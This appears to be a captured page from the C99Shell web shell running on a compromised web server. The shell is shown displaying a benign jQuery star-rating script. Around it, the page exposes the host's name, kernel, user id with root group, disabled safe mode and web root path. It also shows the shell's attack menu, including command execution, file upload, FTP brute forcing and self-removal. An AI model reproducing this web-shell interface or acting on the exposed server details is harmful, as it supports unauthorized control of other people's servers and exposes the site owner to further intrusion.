!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html/public/frontend/js/   drwxr-xr-x
Free 28.53 GB of 117.98 GB (24.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     rating.js (2.95 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
var rating = {};

//Set the default icons
rating.selectedIcon = 'selectedStar.svg';
rating.unselectedIcon = 'unselectedStar.svg';
rating.defaultRating = 3;
rating.outOf = 5;
rating.name = 'rating';

rating.create = function(settings){
    //Set the icons if they have been set
    this.selectedIcon = settings.selectedIcon || this.selectedIcon;
    this.unselectedIcon = settings.unselectedIcon || this.unselectedIcon;

    //Set both the outOf and defaultRatings
    this.defaultRating = settings.defaultRating || this.defaultRating;
    this.outOf = settings.outOf || rating.outOf;

    //Set the default name
    this.name = settings.name || rating.name;

    //Set the classes
    var ratingClass = settings.ratingClass || {};

    //Check whether the user is using font awesome
    var usingFa = false;
    var startingHtml = '<img src="';
    var subSelector = 'img';
    if(this.selectedIcon.substring(0, 3) == 'fa ' || this.unselectedIcon.substring(0, 3) == 'fa ') {
        usingFa = true;
        subSelector = 'i';
        startingHtml = '<i class="';
    }


    var html = '<input type="hidden" name="'+this.name+'" value="'+this.defaultRating+'">';
    //Create the ratings HTML
    for(var i = 0; i < this.defaultRating; i++) {
        html = html + startingHtml+this.selectedIcon+'" data-position="'+(i+1)+'"';
        for(var x = 0; x < ratingClass.length; x++) {
            if(x === 0) {
                html = html + ' class="';
            }
            html = html + ratingClass[x];
            if(x+1 == ratingClass.length) {
                html = html + '"';
            } else {
                html = html + ' ';
            }
        }
        html = html + '>';
        if(usingFa) {
            html = html + '</i>';
        }
    }
    for(var i = 0; i < this.outOf - this.defaultRating; i++) {
        html = html + startingHtml+this.unselectedIcon+'" data-position="'+(this.defaultRating+i+1)+'">';
        if(usingFa) {
            html = html + '</i>';
        }
    }
    $(settings.selector).html(html);
    $(settings.selector + ' ' + subSelector).on('mouseover', function() {
        var position = $(this).data('position');
        $(settings.selector + ' ' + subSelector).each(function(i, e) {
            if(i < position) {
                $(e).attr('src', rating.selectedIcon);
            } else {
                $(e).attr('src', rating.unselectedIcon);
            }
        });
    });

    $(settings.selector + ' ' + subSelector).on('mouseout', function() {
        var selected = $(this).siblings('input[name='+rating.name+']').val();
        $(settings.selector + ' ' + subSelector).each(function(i, e) {
            if(i < selected) {
                $(e).attr('src', rating.selectedIcon);
            } else {
                $(e).attr('src', rating.unselectedIcon);
            }
        });
    });

    $(settings.selector + ' ' + subSelector).on('click', function() {
        $(this).siblings('input[name='+rating.name+']').val($(this).data('position'));
    });
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0035 ]--